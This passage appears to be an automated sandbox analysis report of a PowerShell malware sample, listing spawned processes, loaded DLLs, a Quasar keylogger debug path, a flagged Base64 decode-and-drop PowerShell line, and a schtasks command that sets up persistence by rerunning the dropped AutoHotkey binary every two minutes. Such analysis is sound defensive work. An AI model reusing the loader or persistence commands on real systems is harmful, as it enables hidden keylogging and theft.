                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                Source: unknownProcess created: C:\Users\Public\Documents\AutoHotkey64.exe C:\Users\Public\Documents\AutoHotkey64.exe
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\Documents\AutoHotkey64.exe "C:\Users\Public\Documents\AutoHotkey64.exe" Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn 3losh /tr C:\Users\Public\Documents\AutoHotkey64.exe /sc minute /mo 2 /st 04:23 /fJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: linkinfo.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntshrui.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cscapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: taskflowdataengine.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cdp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: umpdc.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dsreg.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: wsock32.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: textshaping.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
                Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: wsock32.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: textshaping.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rasapi32.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rasman.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rtutils.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: wbemcomn.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: mscoree.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: kernel.appcore.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: version.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: vcruntime140_clr0400.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ucrtbase_clr0400.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: uxtheme.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: windows.storage.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: wldp.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: profapi.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptsp.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rsaenh.dll
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptbase.dll
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: wsock32.dll
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: winmm.dll
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: version.dll
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: wininet.dll
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: kernel.appcore.dll
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: uxtheme.dll
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: textshaping.dll
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: windows.storage.dll
                Source: C:\Users\Public\Documents\AutoHotkey64.exeSection loaded: wldp.dll
                Source: Window RecorderWindow detected: More than 3 window changes detected
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
                Source: x.ps1Static file information: File size 2113070 > 1048576
                Source: Binary string: D:\Projects\=Work[13]=\File\Quasar\KeyLogger\obj\Release\KeyLogger.pdb source: AddInProcess32.exe, 00000006.00000002.4213601750.0000000002921000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000006.00000002.4236024518.0000000005E30000.00000004.08000000.00040000.00000000.sdmp

                Data Obfuscation

                barindex
                Found suspicious powershell code related to unpacking or dynamic code loading
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String($arrComments[1]))[IO.File]::WriteAllText([IO.Path]::Combine($DocPath, "AutoHotkey64.ahk"), [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($arrComments[3])))
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140008040 GetSystemDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,FreeLibrary,GetProcAddress,FreeLibrary,19_2_0000000140008040
                Source: AutoHotkey64.exe.0.drStatic PE information: section name: text
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 0_2_00007FFD9B893C47 push esp; retf 0_2_00007FFD9B893C48
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 0_2_00007FFD9B8951AC push eax; retf 0_2_00007FFD9B8951A9
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 0_2_00007FFD9B89512D push eax; retf 0_2_00007FFD9B8951A9
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 0_2_00007FFD9B8B76A0 push ebp; ret 0_2_00007FFD9B8B7928
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 6_2_05DE7D60 pushfd ; iretd 6_2_05DE7D61
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 6_2_05DE7CA8 push esp; iretd 6_2_05DE7CA9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 11_2_025B6CF0 push eax; ret 11_2_025B6D6E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 11_2_025B6D61 push eax; ret 11_2_025B6D6E
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400DF2E0 push rbp; iretd 19_2_00000001400DF7D8
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Documents\AutoHotkey64.exeJump to dropped file

                Boot Survival

                barindex
                Uses schtasks.exe or at.exe to add and modify task schedules
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn 3losh /tr C:\Users\Public\Documents\AutoHotkey64.exe /sc minute /mo 2 /st 04:23 /f
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A3FEC ShowWindow,IsIconic,GetParent,GetWindowLongW,GetWindowRect,MapWindowPoints,GetWindowLongW,IsWindowVisible,GetWindowLongW,GetMenu,GetWindowLongW,AdjustWindowRectEx,GetSystemMetrics,GetSystemMetrics,SendMessageW,GetClientRect,GetWindowRect,IsZoomed,ShowWindow,MoveWindow,GetForegroundWindow,DefDlgProcW,ShowWindow,GetAncestor,GetForegroundWindow,GetFocus,GetDlgCtrlID,GetParent,GetDlgCtrlID,UpdateWindow,19_2_00000001400A3FEC
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009DFE7 GetDC,SelectObject,GetTextMetricsW,MulDiv,GetSystemMetrics,IsWindowVisible,IsIconic,GetPropW,MapWindowPoints,GetWindowLongW,SendMessageW,19_2_000000014009DFE7
